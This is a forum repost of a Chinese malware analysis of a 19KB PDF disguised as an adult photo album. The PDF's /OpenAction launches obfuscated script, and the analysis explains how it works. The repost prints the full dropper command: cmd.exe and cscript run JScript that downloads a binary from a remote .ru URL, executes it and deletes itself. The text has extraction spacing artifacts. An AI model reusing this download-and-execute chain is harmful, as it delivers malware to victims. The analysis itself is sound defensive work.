搜索

[10679] 2016-11-03_这个19KB的“成人影集”到底做了什么？

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2016-11-03_这个19KB的“成人影集”到底做了什么？ 这 个 1 9 K B 的 “ 成 人 影 集 ” 到 底 做 了 什 么 ？ e x p s k y @ M S 5 0 9 T e a m   F r e e B u f   2 0 1 6 - 1 1 - 0 3 声 明 ： 本 文 由 e x p s k y @ M S 5 0 9 T e a m 原 创 ， 仅 用 于 技 术 交 流 分 享 ， 禁 止 将 相 关 技 术 应 用 到 不 当 途 径 。   0 × 0 1   起 因 起 因 我 们 的 网 络 监 测 设 备 在 用 户 环 境 中 发 现 了 一 个 仅 我 们 的 网 络 监 测 设 备 在 用 户 环 境 中 发 现 了 一 个 仅 1 9 K B 的 的 “ 成 人 影 集 成 人 影 集 ” 的 的 P D F 可 疑 文 件 ， 该 文 件 免 杀 主 流 杀 软 但 被 我 们 监 测 设 可 疑 文 件 ， 该 文 件 免 杀 主 流 杀 软 但 被 我 们 监 测 设 备 判 定 为 了 高 危 ， 于 是 进 行 了 进 一 步 的 人 工 分 析 。 备 判 定 为 了 高 危 ， 于 是 进 行 了 进 一 步 的 人 工 分 析 。 （ 先 承 认 马 赛 克 是 我 打 的 ， 不 为 独 享 只 因 确 实 太 污 ， 作 为 老 司 机 都 有 点 消 化 不 了 ）
经 调 试 分 析 ， 该 P D F 文 件 确 实 是 一 个 恶 意 样 本 ， P D F 打 开 后 会 进 一 步 从 网 络 下 载 后 续 大 马 到 本 地 并 执 行 。 0 × 0 2   恶 意 代 码 启 动 原 理 恶 意 代 码 启 动 原 理 这 个 仅 1 9 K B 的 文 件 里 还 包 含 了 图 片 ， 如 果 是 利 用 漏 洞 来 实 现 执 行 s h e l l c o d e 是 很 困 难 的 ， 那 究 竟 是 通 过 什 么 手 段 呢 ？ 用 U E 打 开 文 件 ：
如 上 ， 文 件 中 能 找 到 / O p e n A c t i o n ， 后 面 跟 着 一 些 像 是 脚 本 一 样 的 代 码 。 O p e n A c t i o n 从 名 字 也 能 大 概 猜 出 意 思 ， O p e n A c t i o n 是 P D F 文 件 中 的 一 个 o b j e c t 对 象 ， 放 在 C a t a l o g   S e c t i o n 下 面 ， 用 来 定 义 P D F 文 件 被 打 开 时 候 触 发 的 事 件 。 0 × 0 3   恶 意 脚 本 分 析 恶 意 脚 本 分 析 知 道 了 启 动 原 理 ， 接 下 来 重 点 就 是 分 析 后 面 的 脚 本 ， 把 脚 本 全 部 复 制 出 来 。 脚 本 经 过 了 混 淆 处 理 ， 这 样 还 看 不 出 具 体 行 为 ， 但 能 发 现 里 面 C M d . e x e ， e v a l 等 一 些 关 键 字 ， 就 很 像 不 怀 好 意 。 把 作 者 用 到 的 文 本 替 换 ， 大 小 写 混 用 等 混 淆 手 段 一 一 解 开 后 ， 得 到 了 如 下 脚 本 。 解 开 混 淆 后 的 代 码 看 着 一 下 就 舒 服 了 ， 通 过 c m d . e x e 来 解 码 脚 本 （ / q   / c 参 数 执 行 命 令 ， 关 闭 回 显 ） ， 再 通 过 c s c r i p t . e x e 来 运 行 解 码 后 的 脚 本 （ / / b 参 数 ， 静 默 执 行 ， 不 显 示 脚 本 错 误 和 提 示 信 息 ） ， 而 脚 本 通 过 4 个 C O M 组 件 完 成 所 有 功 能 : M S X M L 2 . X M L H T T P 组 件 实 现 H T T P 请 求 远 端 服 务 器 的 大 马 ( C M d . e x e ) / P ( / q   / c   " e C ^ h O   n e w   F u n c t i o n   ( ' l s e g s o ' ,   ' v a r   l s e g s o   =   l s e g s o . r e p l a c e ( / b u / g ,   " e " ) . r e p l a c e ( / g d y s / g ,   " r " ) ;   e v a l ( l s e g s o ) ; ' ) ( ' v a g d y s   y w v u m o g d y s g b u g d y s   =   " M S X M L 2 . X M L H T T P " ; v a g d y s   a p a g d y s o n k   =   " S c g d y s i p t i n g . F i l b u S y s t b u m O b j b u c t " ; v a g d y s   t y s u l a b p b u   =   " W S c g d y s i p t . S h b u l l " ; v a g d y s   x z u c i h   =   " A D O D B . S t g d y s b u a m " ; v a g d y s   p a k o g t   =   n b u w   A c t i v b u X O b j b u c t   ( x z u c i h ) ; v a g d y s   c b o p y h o h   =   " h t t p : / / p o p . n b x x x x x y s l s . g d y s u / j s / b x x x 4 . b i n " ; v a g d y s   i k q u t b u x   =   n b u w   A c t i v b u X O b j b u c t   ( y w v u m o g d y s g b u g d y s ) ; v a g d y s   z l i j m y p m u t h   =   n b u w   A c t i v b u X O b j b u c t   ( a p a g d y s o n k ) ; i k q u t b u x . o p b u n ( " G E T " ,   c b o p y h o h ,   0 ) ; p a k o g t . O p b u n ( ) ; v a g d y s   t m p _ p a t h   =   z l i j m y p m u t h . G b u t S p b u c i a l F o l d b u g d y s (   2 )   +   " "   +   z l i j m y p m u t h . G b u t T b u m p N a m b u ( ) ; p a k o g t . T y p b u   =   1 ; i k q u t b u x . s b u n d ( ) ; v a g d y s   o k b u b b u   =   n b u w   A c t i v b u X O b j b u c t   ( t y s u l a b p b u ) ; v a g d y s   y c n o z y h i d b   =   " c m d . b u x b u   / c   "   +   t m p _ p a t h ; p a k o g t . P o s i t i o n   =   0 ; i f   ( i k q u t b u x . S t a t u s   = =   2 0 0 )   { p a k o g t . W g d y s i t b u ( i k q u t b u x . R b u s p o n s b u B o d y ) ; p a k o g t . S a v b u T o F i l b u ( t m p _ p a t h ) ; p a k o g t . C l o s b u ( ) ; o k b u b b u . g d y s u n ( y c n o z y h i d b ,   0 ) ; z l i j m y p m u t h . d b u l b u t b u F i l b u ( W S c g d y s i p t . S c g d y s i p t F u l l N a m b u ) ; } ' ) ; > n g A V e . J s e & c S ^ c R ^ i P t ^ . e X E   / / ^ b       N g a V e . j S e "
S c r i p t i n g . F i l e S y s t e m O b j e c t 文 件 系 统 组 件 用 于 得 到 临 时 文 件 名 字 和 路 径 ， 最 后 删 除 木 马 文 件 A D O D B . S t r e a m 组 件 将 H T T P 请 求 到 的 数 据 也 就 是 大 马 ， 保 存 成 本 地 文 件 W S c r i p t . S h e l l 组 件 用 于 执 行 下 载 下 来 的 大 马 到 此 这 个 P D F 恶 意 样 本 的 行 为 就 全 部 分 析 完 了 ， 远 端 服 务 器 的 俄 罗 斯 域 名 目 前 已 经 取 消 了 解 析 ， 还 没 能 找 到 大 马 的 样 本 ， 暂 时 不 能 再 进 一 步 分 析 ， 这 背 后 是 来 自 俄 罗 斯 的 攻 击 吗 ？ 0 × 0 4   样 本 背 景 分 析 样 本 背 景 分 析 虽 然 撰 文 此 时 ， 域 名 取 消 了 解 析 ， 但 这 个 域 名 最 近 频 繁 的 修 改 过 D N S ， 多 次 指 向 美 国 还 有 一 次 巴 西 。 特 意 也 隐 藏 了 注 册 者 信 息 ， 域 名 在 今 年 年 初 注 册 了 一 年 。
这 个 域 名 的 二 级 主 域 名 以 及 其 他 三 级 子 域 名 关 联 过 更 多 的 I P ， I P 地 址 有 美 国 ， 印 度 ， 巴 西 ， 乌 克 兰 ， 匈 牙 利 等 很 多 个 国 家 这 是 否 真 是 一 次 来 自 境 外 的 攻 击 ， 甚 至 是 A P T ？ 待 找 到 大 马 后 的 进 一 步 分 析 … … * 本 文 由 原 创 作 者 ： e x p s k y @ M S 5 0 9 T e a m ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载   。
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理